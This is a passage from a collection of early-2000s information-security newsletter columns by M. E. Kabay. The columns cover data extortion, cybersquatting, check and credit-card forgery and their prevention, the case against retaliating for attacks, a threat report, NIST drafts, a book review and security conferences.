just what that funny series of instructions is doing and why.

As for other covert channels such as coded messages sent through e-mail, I'm sorry to say that there's not much we can do about this problem yet – and little prospect of solving the problem.

If any readers have insights into this fundamental problem, I'd be interested in hearing from them to build a followup column that might be a bit more encouraging than this one.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Extortion (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Computer data can be held for ransom or used in attempted blackmail. Consider the following examples of various pressures on data and system owners:

* In 1971, two reels of magnetic tape belonging to a branch of the Bank of America were stolen at Los Angeles International Airport. The thieves demanded money for their return. The owners ignored the threat of destruction because they had adequate backup copies.

* In 1973, a West German computer operator stole 22 tapes and received $200,000 for their return. The victim did not have adequate backups.

* In 1977, a programmer in the Rotterdam offices of Imperial Chemical Industries, Ltd. (ICI) stole all his employer's tapes, including backups. Luckily, ICI informed Interpol of the extortion attempt. As a result of the company's forthrightness, the thief and an accomplice were arrested in London by officers from Scotland Yard.

* In September 1999, the Sunday Times reported in an article by Jon Ungoed-Thomas and Maeve Sheehan that British banks were being attacked by criminal hackers attempting to extort money from them. The extortion demands were said to start in the millions and then run down into the hundreds of thousands of pounds. Mark Rasch is a former attorney for computer crime at the United States Department of Justice and later legal counsel for Global Integrity, the computer security company that recently spun off from SAIC. He said, "There have been a number of cases in the UK where hackers have threatened to shut down the trading floors in financial institutions. . . . The three I know of (in London) happened in the space of three months last year one after the other. . . . In one case, the trading floor was shut down and a ransom paid." The International Chamber of Commerce (ICC) confirmed it had received several reports of attempted extortion. Ungoed-Thomas and Sheehan quoted Pottengal Mukundan, ICC Director of Commercial Crime Services, as saying, "We have had cases of extortion and the matter has been investigated internally and the threat removed. . . . I don't think you will find there are many companies which admit to having a problem." Finally, the authors spoke with Edward Wilding, Director of Computer Forensics at Maxima Group; he said, "Computer extortion is not rife, but we do get called to assist in incidents where extortionists have attempted to extract money by the use of encryption and where databases of sensitive information have been stolen."

* Also in 1999, a 19-year-old Russian criminal hacker calling himself Maxus broke into the Web site of CD Universe and stole the credit-card information of 300,000 of the firm's customers. According to New York Times reporter John Markoff, the criminal threatened CD Universe: "Pay me $100,000 and I'll fix your bugs and forget about your shop forever....or I'll sell your cards [customer credit data] and tell about this incident in news." When the company refused, he posted 25,000 of the accounts on a Web site (Maxus Credit Card Pipeline) starting

1999-12-25 and hosted by the Lightrealm hosting service. That company took the site down on 2000-01-09 after being informed of the criminal activity. The criminal claimed that the site was so popular with credit-card thieves that he had to set up automatic limits of one stolen number per visitor per request. Investigation shows that the stolen card numbers were in fact being used fraudulently, and so 300,000 people had to be warned to change their card numbers.

* In a similar case in August 2000, the Creditcards.com Web site was penetrated and the attacker copied 55,000 credit card numbers. When the criminal's demands for $100,000 in extortion money were refused, he published the card numbers on a Web site.

* In March 2001, the FBI reported that they were targeting criminal hackers in Russia and the Ukraine who copied more than a million credit card numbers from 40 sites in 20 states. The hackers tried to blackmail the victims by threatening to embarrass them publicly.

* * *

I'll continue with some more tales of extortion techniques in the next article in this series and will also look at defenses.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Extortion (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This article continues with newer methods of extortion that have popped up in recent years as the importance of cyberspace has increased to businesses worldwide.

Countless cases have been logged in which people have registered Internet domain names with significant commercial value (e.g., names of celebrities) before those people or companies have registered them. These cybersquatters then demand sometimes enormous payments to release the domain names. As a result of the trouble caused by legal battles over trademark violations, registration authorities set rules requiring registrants to be able to show the legal right to use the names they are registering. In recent years, many registrations made solely to extort money from trademark holders have been rescinded by the domain registrars. Some recent cases of cybersquatting:

* Musician John Tesh sued the owners of johntesh.com in January 2000, claiming that the only possible reason for the registration was to extort money for resale of the domain.

* In the two months after establishment of a cybersquatting arbitration service under the World Intellectual Property Organization (WIPO), 89 cases were registered. Early wins for trademark owners included the World Wrestling Federation, Stella D'oro Biscuit, and Telstra.

* Julia Roberts got control of www.juliaroberts.com in June 2000.

* A British company attempted to register domain names using the names of many authors; the Authors' Guild filed legal objections against the company in December 2000.

* Some companies specialize in monitoring expiration dates of domains with high profit potential and register them within seconds of their release by careless owners.

* The surprising frequency with which Web sites whose domains have changed hands have pornography posted on them may be the result of a deliberate strategy to increase the level of embarrassment of the former owners and a method for raising the price people are willing to pay to buy the lapsed registration back from the extortionists.

The most obscure form of extortion is sometimes called "patentmail." Companies who receive or buy patents on commonly-used high-technology principles or protocols sue victims with deep pockets for large sums. For example, one company has been "using a 1993 patent that covers a basic process for sending files between computers to demand license payments from big-name companies, including The Gap, Walgreen, Nike, Sony, Playboy Enterprises and Sunglass Hut. Other less-willing contributors include Audible, Encyclopaedia Britannica and Spiegel, which were threatened with litigation when they refused to pay up." [NewsScan, 2001-03-09]. Other patents cover such concepts as computer-based distance education and plug-and-play driver installation. The company has won $350 million in settlements so far.

How should one prevent victimization by extortionists? The most obvious measure is to enforce reasonable security given the sensitivity or criticality of one's data. Having adequate backups would be nice. Encrypting sensitive data so they cannot be misused even if the files are copied would also make sense for most organizations.

Second, be absolutely sure that you _never_ let your domain name lapse by accident. Even if you don't want to continue using your domain name, you should seriously considering paying the trivial sum required to maintain legal control over it so that bad people can't try to embarrass you with, ah, undesirable content.

As for avoiding blackmail, the only sensible response to attempted blackmail is the famous line, "Publish and be damned." Extortionists and blackmailers are by definition criminals; they're bad people and we cannot trust them. If someone is willing to break into a system or to abuse trust to acquire leverage of this kind, what possible grounds are there for supposing that they will stop once we give them what they ask for – at first? Police authorities are clear on the dangers of acceding to blackmail: it never stops. In espionage, getting an insider to commit a tiny peccadillo is the key to increasingly serious betrayal: at each step, the threat, implicit or explicit, is that the previous string of wrong-doing will be revealed.

As for patentmail, each case has to be decided on its merits. I just wish that more people would fight the broad claims of patent violation in court and thus increase the cost of doing business for these operators. In several cases, vigorous counterattacks have resulted in reconsideration of patents and judgement by the U.S. Patent Office that the patents were overly broad and thus invalid.

Forgery (1): Classic Cases

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Criminals have produced fraudulent documents and financial instruments for millennia. Coins from ancient empires had elaborate dies to make it harder for low-technology forgers to imitate them. Even thousands of years ago, merchants knew how to detect false gold by measuring the density of coins or by testing the hardness of the metal. Cowboys in Wild-West movies occasionally bite coins, much to the mystification of younger viewers.

In his entertaining 1978 book about computer crimes, Thomas Whiteside provides two particularly interesting cases of computer-related forgery. The most ingenious involved a young man in Washington, DC, who printed his own account's routing numbers in magnetic ink at the bottom of the deposit slips you usually find in bins at any bank. He replaced the blank deposit slips by the doctored ones. Hundreds of people used these slips to deposit money to what they assumed would be their accounts. The victims wrote their own account numbers in, handed their money and the slips to tellers, and their accounts were apparently credited as usual. In fact, however, all the slips with magnetic ink were automatically sorted and processed, diverting $250,000 of other people's money into the criminal's bank account. When customers complained about their bouncing checks, the bank discovered too late that the thief had fled, taking $100,000 along with him.

If a teller had observed that customers were writing in account numbers different from the magnetically-imprinted codes at the bottom of each deposit slip, the fraud would have been impossible.

The other case cited by Whiteside concerned checks which were fraudulently printed with the name and logo of a bank in New York but with the routing numbers and false account number from a totally different bank on the west coast. The criminal deposited the check at a third bank. The check would automatically be routed by the Federal Reserve System according to the magnetic ink codes, ending up in the processing hopper of the west coast bank. There, not having a valid account number, the check would pop out for human handling. The clerk responsible for exceptions would immediately see the prominent logo of the New York bank and send it there by mail. Days would pass before the check ended up in New York. Of course, the New York bank's automatic check processing equipment would respond to the fake routing code and send it back to the Fed, and so it went in an endless loop. Apparently the farce ended only when the checks became so worn that they required physical repair. The inconsistency was finally noticed by a human being and the deception was discovered. Unfortunately, by this time the thief had absconded with about $1 million.

Once again, human awareness and attention could have foiled the fraud.

Forgery (2): Desktop Forgery

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Forgers have gone high-tech. It seems nothing is sacred any more, not even certificates and signatures.

High-quality color scanners, a PC with good image-enhancement (touch-up) programs and high-resolution color printers have made forgery a snap. Even before modern image-processing technology was available, forgers knew that the appearance of a document cannot guarantee its origin once there are ways of imitating that appearance.

There have been many examples of computer-related forgeries. For example,

* A Boston resident forged checks by digitizing company logos and printing them on check stock. He defrauded computer suppliers and sold stolen computers all over the Caribbean. Another forger generated official-looking documents from the Connecticut Bank & Trust company attesting to his financial reliability. Using these references, he is alleged to have borrowed more than $10 million and then filed for bankruptcy after moving the money offshore.

* A European thief deposited and then withdrew $3 million in fake cashier's checks made with a laser printer and a color copier.

* Prisoners have managed to effect their own release by sending a FAX of a forged document to their prison officers.

* California State Police in Los Angeles once arrested 32 people for issuing fake smog control certificates. Each certificate sold for about $50.

* Another forgery case involved the CIA--as victims, not perpetrators (for a change). In October 1992, Joseph P. Romello pleaded guilty to having defrauded the CIA of more than $1.2 million. In one of his crimes, he tricked the Agency into paying $708,000 for nonexistent computer hardware and provided forged documents for the files showing that the equipment had been received.

* * *

Some practical suggestions:

At your place of work, be sure that everyone understands that it is illegal in the USA to make copies of currency. Title 18, section 471 of the US Code provides for jail terms up to 15 years for having counterfeit bills or for altering currency to increase its apparent value. And “It was just a joke” is unlikely to be a successful excuse.

You should verify the authenticity of documents before acting on them. For example, if a candidate gives you a letter of reference from a former employer, verify independently that the

phone numbers match published information; call the person who ostensibly wrote the letter; and read them the important parts of their letter.

Don't trust signatures blindly: a good scanner and a color printer can reproduce anybody's signature and make it appear to have been signed with a pen. Detecting a real signature can involve microscopic examination to measure indentations in the paper that are created by a real pen but not by a printer.

Financial institutions should be especially careful not to sign over money quickly merely because a paper document looks good. Thorough verification makes sense in these days of easy forgery.

Forgery (3): Fake Credit Cards

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Credit cards have become extensions of computer databases. In most shops where cards are accepted, sales clerks pass the information encoded in magnetic strips through modems linked to central databases. The amount of each purchase is immediately applied to the available balance and an authorization code is returned through the phone link.

One form of forged cards uses the magnetic stripe. On these fraudulent cards, the stripe contains a valid account code that is different from the information embossed on the card itself. Since very few clerks compare what the automatic printers spew forth with the actual card, thieves successfully charge their purchases to somebody else's account. The fraud is discovered only when the victim complains about erroneous charges on the monthly bill. Although the victim may not have to pay directly for the fraud (the signature on the charge slip won't match the account owner's), everyone indirectly bears the burden of the theft by paying higher credit card fees.

Another form of credit-card fraud involves synthetic account numbers. Credit card numbers include bank identification numbers at the start of the number, some unique digits, and a checksum computed using the other numbers. There are programs available on the Internet for generating credit-card numbers that include valid checksums. Not all of these synthesized card numbers correspond to existing accounts, but criminals – often teenagers – experiment with the numbers by trying them out by phone on unsuspecting retailers until they have winnowed the list down to valid numbers which they can then use for further purchases.

Those of you whose businesses accept credit cards should cooperate closely with the issuers of the cards. Keep your employees up to date on the latest frauds. and train them to compare the name on the card itself with the name that is printed out on the invoice slip. If there is the slightest doubt about the legitimacy of the card, the employee should ask for customer identification or consult a supervisor for help.

The problem continues to be resistance from uneducated users who see a request for identification as an insult. One way of reducing this stupid reaction is to put signs up with a message like those at many bank windows: "We will ask for your ID as a way of protecting you against fraudulent use of your cards and accounts."

Unfortunately, at many stores, I notice that the staff don't even bother to look at the signature on the back of the card; I often irritate them by suggesting that it would be a good idea. Usually it turns out to be policy to check signatures, but supervisors fail to monitor compliance. One technique to encourage checking is to write "Check carrier's ID" on the back of the card in place of your signature. If you choose this method, just be sure that you do in fact have identification with you all the time.

* * *

In the next column in this series, I'll look at how credit-card issuers have been implementing anti-fraud measures.

Forgery (4): Credit-Card Fraud Prevention

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this series, I've been reviewing aspects of forgery. In the previous column, I looked at fake credit cards. In this column, the topic is anti-fraud measures for spotting fake or stolen credit cards.

* * *

In recent years, with the rise of telephone and Web-based commerce, many merchants are using an additional feature on today's credit cards: the verification number printed on the _back_ of the card. Operators and forms are increasingly asking for part of this verification number to ensure that the consumer has physical possession of the card. Because this "serial number" is not yet easy to generate from a given account number, it is still difficult for a forger to invent one that matches the account number.

One of the most effective anti-fraud measures in use by credit-card companies is pattern matching similar to what is being used successfully in intrusion-detection systems. Computer programs monitor each card-holder's usage patterns; any large deviation from the norm can alert a human supervisor who can decide whether to interfere with the automatic approval process. At that point, a card-carrier can be told that a charge has been refused and is then asked to phone the agent at the issuer's security center. Usually a brief discussion suffices to authenticate the user. Although some people seem to resent this measure, it seems to me to be a minor inconvenience given the possible benefits of preventing large fraudulent purchases. Certainly I have always felt grateful and thanked the agent cheerfully for intervening.

A few credit-card issuers integrate portraits of the authorized user on their cards as a deterrent to fraud. Indeed, some years ago the Royal Bank of Scotland agreed to issue two cards to a transvestite customer – one for each persona.

Why don't we insist on the same, rather modest, level of security for credit cards as for bank cards? What would be wrong with requiring a PIN (personal identification number) to be entered by the user at the time of payment? Well, retailers tell me that the ordinary public does not like security measures and so if implementation is piecemeal, the stores where PINs are used will either be or perceive themselves to be at a competitive disadvantage with respect to other stores.

What about smart cards, then? They no longer cost very much and they would be much harder to counterfeit. Well, the problem there is a fundamental one: credit-card companies and banks don't pay for the losses incurred through fraud, so they have little incentive to improve security. In one of my security classes, a security officer from a large national bank explained that interest rates on unpaid balances are calculated using about half of the rate to cover losses and frauds. I once had a credit card whose balance was guaranteed by a term deposit with the issuing bank; indeed, the interest rate on that card was 8% when everyone else was stuck with 16% for late payments. With all the users who pay interest on late payments, the banks have no significant

cost of doing business the old, fraud-laden way.

The one factor I see as influencing this problem is the rising toll of identity theft. More about that in another column.

* * *

Forgery & Revenge

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this series, I've been writing about various forms of forgery. Today we'll look at the implications of packet and e-mail spoofing.

* * *

Imagine that your site has been hit by a massive denial-of-service attack and that you have lost thousands of sales in the last day. Or imagine that someone has defaced your Web site and caused great embarrassment as well as making you stay up all night as part of the emergency crew rebuilding the site.

Wouldn't you just _love_ to get even with the nasty people who caused you all this trouble? Wouldn't it be great to launch a retaliatory strike against them?

Well, it might sound like fun, but in today's Internet, any attempt to get even with the perpetrators of attacks is likely to backfire.

The practical problem is that IPv4, (Internet Protocol version 4), the current protocol in use throughout the Internet, has no provision for origin authentication as part of the packet headers. It is easy to forge the packet headers of outbound traffic or to alter the origination information of e-mail. These indicators of origin cannot be relied upon as a trustworthy pointer to the real senders of anything on the Internet.

The second problem is that criminal hackers often use hijacked systems for their nefarious deeds. Even if they don't forge their headers, the harmful traffic may be pointing to another victim rather than to the systems belonging to the criminal. For example, a criminal hacker may be using a stolen account on a university computer -- perhaps using a password stolen from an unsuspecting student or perhaps by obtaining administrative privileges and creating an account for the purpose of wreaking havoc. Attacking the university computers hardly seems like the right thing to do.

The other possibility I've been told about by several people over the years is tracking down the human beings responsible for the attacks and then Doing Bad Things to them. A couple of people have suggested baseball bats and general destruction.

I have consistently held that it is out of the question to use violence against suspected criminals. Vigilante behavior of all kinds is consistently bad: it allows the heat of the moment to overcome rational discovery of truth. Even today, people all over the planet are being hanged, burned, clubbed, and otherwise abused and killed because of suspicion, with the flimsiest of evidence and completely without benefit of a legal process to prevent injustice. Check the Amnesty International Web site for horrific details.

Finally, there's the legal aspect. As you know, I-am-not-a-lawyer-and-this-is-not-legal-advice --

for-legal-advice-consult-an-attorney-with-the-appropriate-expertise. As a lay person, I believe that premeditated revenge is not a legal justification for attacking someone else's property or person.

No, on all of these grounds, I do not think that retaliation against perceived attackers is a sound response. If you really do have credible evidence identifying your attackers, consider the pro/con arguments about whether to get involved in a criminal investigation or perhaps to lay civil charges

But don't get involved with do-it-yourself revenge.

Simulation

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Using computers in carrying out crime is nothing new. Computers are routinely seized and examined in investigations of gambling, prostitution, illegal drug distribution, pornography, sale of stolen goods, all kinds of theft, money laundering and loan-shark operations.

A specialized subset of computer-aided crime is simulation, in which complex systems are emulated using a computer. For example, simulation was used by a former Marine who was convicted in May 1991 of plotting to murder his wife. Apparently he stored details of 26 steps in a "recipe" file called "murder." The steps included everything from "How do I kill her?" through "Alibi" and "What to do with the body."

Simulation was used in a bank fraud in England in the 1970s. A gang of thieves used the system for a complex _check kiting_ operation. Check kiting consists of writing checks alternately from one bank to another faster than the float period during which the deposit exists in the receiving bank but before it has been deducted from the issuing bank. The apparent amount rises like a kite as money shuttles back and forth. Then one day the criminal clears all the money out of the accounts and disappears. Naturally, banks know all about this trick, so any repeated sequence of deposits and withdrawals from one account to another results in a freeze on the accounts until the money actually clears. Knowing this restriction, the criminals in England used 12 banks to shuttle money around. They kept track of exactly which bank was supposed to receive which fraudulent check for what amount drawn on which other bank. The scheme would have worked if the computer hadn't broken down. At that point, the scheme unraveled, with the fraudulent checks bouncing in sequence when account after account was found to be without sufficient funds for the payments. Scotland Yard were alerted to an unusual rash of bad checks all over London. The police traced the conspirators to a room where a computer programmer was desperately trying to fix his broken computer system. Luckily for the banks, the criminals had no backup hardware.

In a corporate environment, if employees know that you will carry out periodic audits of files on your enterprise computer systems, you may dissuade criminal employees from using your property in carrying out their crimes. On the other hand, such audits may lead dishonest people into encrypting incriminating files; a strict policy prohibiting unauthorized use of encryption may help fight that kind of abuse. However, unannounced audits on employees who have not been adequately trained and prepared to meet corporate requirements may cause morale problems, so it's important to discuss the issue with your staff before imposing such routines.

A politically sensitive question about simulation is whether the simulation of crimes by vide-game programs contributes to juvenile delinquency. For example, a few years ago, a game was put on the market that gave players points for various forms of arson, including extra points for killing larger numbers of innocent victims. The fire chiefs of the United States protested and the game was withdrawn. There are several sites on the Web that turn criminal hacking into games and glorify criminal hackers; perhaps I'll look into the status of research on this question for a

later column.

Ripping Yarns:
Riptech Internet Security Threat Report

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Last week Riptech announced its "Internet Security Threat Report" summarizing "Attack Trends for Q3 and Q4 2001." The primary authors of this report, CTO Tim Belcher and Founder and Executive VP Elad Yoran correctly note in their introduction to the study that many previously published reports on Internet attacks suffer from methodological flaws. Surveys, for example, inevitably suffer from self-selection bias; automated analysis of unedited firewall and intrusion-detection system (IDS) log files can distort or mask trends by swamping real attack data with spurious false alarms.

Riptech used a sample of 300 clients from its security monitoring service clientele. They analyzed 5.5 billion firewall log records and IDS alerts and identified 128,678 attacks over the latter half of 2001. During that period, they found that 63% of the attack activity was caused by Code Red and Nimda worms; these data were excluded from further analyses to prevent other interesting trends from being swamped.

Even during the six month study period, the researchers found significant increases in the average number of attacks per company; 79% overall between July and December 2001. Many of the attacks (around 40%) seemed to be deliberately targeted at specific organizations. Most (70%) of the attacks came from 10 countries (in descending order of frequency, the US, South Korea, China, Germany, France, Canada, Taiwan, Italy, Great Britain and Japan) and almost half came from the first three. Using published estimates of the numbers of Internet users in the countries of origin coupled with population figures, the Riptech team also estimated the per-user incidence rate of attack and found that (in descending order) Israel, Hong Kong, Thailand, South Korea, France, Turkey, Malaysia, Poland, Taiwan and Denmark topped the list.

The authors write, "Overall, Microsoft Internet Information Services (IIS) vulnerabilities. . . were the target of the majority of the attacks."

Interestingly, the most frequent targets of "severe" attacks ("those . . . categorized as either emergency or critical") were on power and energy companies (an average of 12.5 per company over the study period). Among the attacks originating in the middle east, the average of all types of attack per target company was 66.5 (over six months) for power and energy firms. In contrast, among attacks originating in Asia, financial services companies suffered an average of 339 attacks each over the last half of 2001.

This summary provides a taste of the interesting material found, analyzed, summarized and graphed in this stimulating report. To download your free PDF version of the full report, fill out the form at < http://www.riptech.com/securityresources/form9.html >.

NIST CSRC Drafts Provide Valuable Reading

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Although everyone chuckles at the corny line, "Hi, I'm from the government and I'm here to help you," our skepticism has to exclude the National Institute for Standards and Technology (NIST), which truly does contribute excellent work to a wide range of fields, including information security.

On January 28, 2002, the Computer Security Resource Center (CSRC) of the Information Technology Laboratory (ITL) of the NIST announced the posting for comment of the NIST draft publication of the System Administration Guidance for Windows 2000 Professional. The document is available at < http://csrc.nist.gov/publications/drafts.html >.

Their announcement read in part, "The document is intended to assist the users and system administrators of Windows 2000 Professional systems in configuring their hosts by providing configuration templates and security checklists. The document introduces secure configuration recommendations for setting up some popular Windows applications, such as Symantec Norton AntiVirus, Network Associates McAfee, and F-Secure Anti-Virus virus scanners, Microsoft IE and Netscape Communicator web browsers, Microsoft Outlook and Eudora e-mail clients, and Microsoft Office 2000 Professional productivity software."

The URL above includes a number of draft documents of interest to network and security administrators, including (among others)

* Contingency Planning Guide for Information Technology Systems;
* Security for Telecommuting and Broadband Communications;
* Security Guide for Interconnecting Information Technology Systems; and
* Internet Security Policy: A Technical Guide.

In addition, the Draft Publications page provides links to
* a handy list of acronyms relating to government computer security projects,
* recent security alerts from many different US and international government security organizations, and
* many other useful security pages and sites.

* * *

Too Quick on the Trigger:
Responding to Spam Alerts

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

If I have a minute to spare, I sometimes respond to unsolicited commercial e-mail ("spam") by checking the header for forgery (see "On the case with Spam Spade, < http://www.nwfusion.com/newsletters/sec/2001/00319486.html >). If I can trace the real origin of the junk e-mail, I send the originating ISPs a note requesting that they look into the possible violation of their policies. Naturally, I never use the opt-out e-mail addresses or Web URLs because I don't like the risk of having my e-mail address re-sold to other spammers as a good address.

A few days ago I received a junk e-mail message with the subject "(1etrades.com)I have an endless number.....We are part of the same group.....about search optimization." The message was a bizarre piece of semi-English prose with largely incomprehensible gibberish that was apparently selling something; it ended with this text (Website names blocked out to protect the guilty):

"if you criticize me for being what I am then there is nothing I can say, nor do I care to defend myself so to remove:
mailto:remove@someaddress.net
REMOVAL PAGE remove@anotheraddress.net
To unsubscribe: http://www.yetanotheraddress.com/rem/
Under US EU LAW"

Having looked up the DNS registry entries for the three addresses listed, I sent a single message to all three requesting that they look into the situation and terminate services to offenders. Normally, I get either no response or a polite form letters thanking me for informing them of the situation and stating that they will look into the situation. Sometimes I have received a message stating that the offending account was investigated, found to be spamming, and therefore shut down.

Well, my message didn't go over too well with one of the system administrators to whom I wrote. He sent the following message to a list of administrators for systems where I had once had e-mail addresses:

"Dear <bunch of people>
can you shut down Mich Kabay,
He is spamming myself because a customer has sent him an email.
If you do not stop 'Mich Kabay <mkabay@compuserve.com>'
I will make a further complain.

Uper and Mich Kabay are member of the same group then the Uper email had removal option.
3 opt in no one removal!

<name removed>”

Two of the admins were at companies where I used to work. One of those admins wrote the following response to the sender:

“Mich Kabay no longer has an address on our <former employer’s> Mail server,
and I have blocked all mail from mkabay@compuserve.com.”

Based on an unsupported claim from a person who received a single message from me requesting professional assistance, the administrator of a company has cheerfully prevented me from communicating by e-mail with all my former colleagues.

I left a voice mail message for the admin respectfully requesting that he rescind the ban on my e-mail, but this incident supports my belief that we must not act precipitously when someone makes an accusation of spam. Before shutting down _inbound_ e-mail from an e-mail address, I urge admins to communicate with the target of the accusation to see if there is another side to the story they have been fed. A similar principle argues against retaliating against the apparent origin of penetration attempts or denial-of-service (DoS) attacks: one may be retaliating against the wrong people.

Network Intrusion Detection:
Book Review

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

New Riders Publishing sent me some books for review recently. I like this publisher's list of security titles, and I enjoy being an occasional technical reviewer on contract for them (there: that takes care of disclosing a possible conflict of interest as I write this review). _Network Intrusion Detection: An Analyst's Handbook, Second Edition_ by Stephen Northcutt, Judy Novak and Donald McLachlan strikes me a superb instruction manual for everyone concerned with intrusion detection and analysis – which is to say, everyone who runs a network connected to the Internet.

The book opens with 32 pages of roman-numeral-numbered material. Ho-hum, who cares? Well in this case, the introduction includes a thoroughly fascinating introduction with a history of the "Shadow" program used to analyze TCP/IP traffic; an overview of threats to security; a cogent summary of lessons learned from the Y2K experience; a review of distributed denial-of-service (DDoS) attacks; a stimulating analysis of "macro threats" (global and economic influences on information security); and an intelligent analysis of what the authors call "micro threats" (the devil in the details of running information systems). And all that is just the beginning.

* Chapter 1, "IP Concepts" introduces (or reviews) the basic concepts and terminology of the Transmission Control Protocol/Internet Protocol (TCP/IP). As the authors note, the chapter is useful even for experts because it can provide good diagrams and explanations useful in teaching beginners.

* Chapter 2, "Introduction to TCPdump and . . . TCP" presents a tutorial on how to use TCPdump or Windump programs to analyze packets.

* Chapter 3 discusses fragmentation of packets to avoid some intrusion detection systems (IDSs) and filters.

* Chapter 4 introduces the Internet Control Message Protocol (ICMP) and a series of mapping techniques used by intruders scoping out their potential victims. It also discusses several ICMP-based DDoS attack techniques and other malicious misuses of ICMP.

* Chapter 5 discusses normal stimulus-response sequences and some of the "protocol benders" implemented by malicious hackers.

The book continues to a total of 22 chapters, each a jewel of methodical, concise, interesting writing with plenty of examples and exercises for the serious student. I particularly like the inclusion of in-chapter partial summaries that help a reader understand where they are heading in the rest of the chapter.

The authors write with assurance and grace, and they have a noticeable sense of humor. The text is enlivened by personal experiences and by its practical orientation. It is never dull.

The only oddity I noticed is that on my copy, at least, the name of the third author, Donald McLachlan appeared on the flyleaf (page iii) but, strangely, not on the cover itself. Perhaps it was a printing error.

Readers must understand that I am not a technical expert in intrusion detection, but it is a foundation element of modern information security and I have been following developments in this area for many years. With that warning in mind, I do unhesitatingly recommend this book to readers and suggest it as a candidate to colleagues considering textbooks for university upper-level and graduate courses in intrusion detection. My congratulations and thanks to the authors, editors and publishers of this work.

Security Testing and Security Models:
Two New Special Publications From NIST

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

As we have seen in previous columns (e.g., _____ [Jeff, fill in your title for "117 NIST CSRC Drafts.doc"]), the National Institute of Standards and Technology (NIST) supplies a stream of valuable documents relevant to the needs and interests of security and network specialists. NIST has recently announced two new documents that will interest many readers: a guide to network security testing and a discussion of fundamental security models.

On February 4, 2002, NIST announced its "Draft Special Publication 42, Guideline on Network Security Testing," available for public comment at < http://csrc.nist.gov/publications/drafts.html > or directly as a PDF download using <. According to NIST, "This document describes a methodology for using network-based tools for testing systems for vulnerabilities. The primary aim of the document is to help administrators and managers get started with a program for testing on a routine basis. The methodology recommends focusing first on those systems that are accessible externally, e.g., firewalls, web servers, etc., and then moving on to other systems as resources permit. The document includes many pointers to various testing applications and contains more detailed descriptions of several of the more popular test tools."

The draft discusses security testing and the system development life cycle, security testing techniques, and ends with a list of common testing tools and examples of their use. The project manager, John Wack, specifically seeks practitioners' input on this draft. He wrote, "NIST is particularly interested in comments regarding the testing schedules, especially the frequency of certain tests – are they realistic for your environment, should certain tests be run more frequently or less, do you recommend other types of tests or tools? Comments and questions are requested by March 6, 2002." See the description on the Web page listed above for details of how to submit your comments. I encourage readers to contribute to this excellent start by contributing their insights to improve the document.

NIST also announced the final publication of its Special Publication 800-33, "Underlying Technical Models for Information Technology Security," which is available from < http://csrc.nist.gov/publications/nistpubs/index.html > or directly as a PDF download using < http://csrc.nist.gov/publications/nistpubs/800-33/sp800-33.pdf >. According to NIST's description, "The purpose of this document is to provide a description of the technical foundations, termed 'models', that underlie secure information technology (IT). The intent is to provide, in a concise form, the models that should be considered in the design and development of technical security capabilities. These models encompass lessons learned, good practices, and specific technical considerations." According to the introduction, "The intended audience consists of both government and private sectors including:

- IT users desiring a better understanding of system security.
- Engineers and architects designing/building security capabilities, and

- Those developing guidance for others to use in implementing security capabilities."

I am looking forward to reading these two documents in detail; perhaps readers who send in comments to the authors could copy me on their insights and I'll work up a summary of contributors' analyses.

Four Small Security Conferences

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Most practitioners are already informed of the major security conferences with thousands of people. However, smaller conferences can provide a more intimate venue for personal discussions with speakers and with other participants. In this newsletter, I'd like to invite readers to look into four upcoming small conferences they may not have heard about.

In Northfield, Vermont at Norwich University, my colleagues and I have organized the Fourth Annual e-ProtectIT Infrastructure Security Conference for the 20-22 March 2002. Previous conferences have had around 200 people from VT, NH, MA, ME, CT and NY states including police; government, commercial and academic CIOs; and US armed forces and National Guard members with technical and management responsibilities.

We have three two-day security courses planned for Wednesday and Thursday the 20-21 March:

* Peter Stephenson, author of many articles and a book on computer forensics, will give a workshop on that subject. I have participated in one of Peter's courses and can assure readers that he is an intelligent, engaging speaker with a broad and deep knowledge of his subject.

* Phil Susmann, CIO of Norwich University and a wonderful computer science professor, will teach a two-day introduction to information security. Again, I have heard Phil lecture and he's one of the best speakers I have ever heard.

* I'll be giving my usual two-day annual overview of key developments across the entire field of security, the INFOSEC UPDATE 2002. This popular event uses a 250-page workbook that details what I consider important events in the technical, management, legal and research areas of security.

On Friday the 22nd of March we have a lineup of stimulating speakers from the military, law enforcement, academic and commercial sectors. For full details, see our Web site at < http://www.e-protectIT.org > and click on . Vendors who would like to support our conference by providing marketing materials or sponsoring various events should see < http://www.e-protectIT.org/vendors >.

* * *

On 25-26 March 2002, Financial Research Associates has a conference entitled "Information Security in the Age of Terrorism" in Washington, DC. The lineup of speakers and sessions is comprehensive, including threat analysis, outsourcing of security services, biometric identification and authentication methods, corporate policy, technical countermeasures and others. For details, you can go to < http://www.frallc.com/ > and click on "March Events."

The same group has a conference in Washington on April 29-30 entitled "The Practitioner's Forum on Mobile & Wireless Security." That event will feature discussions of what CIOs

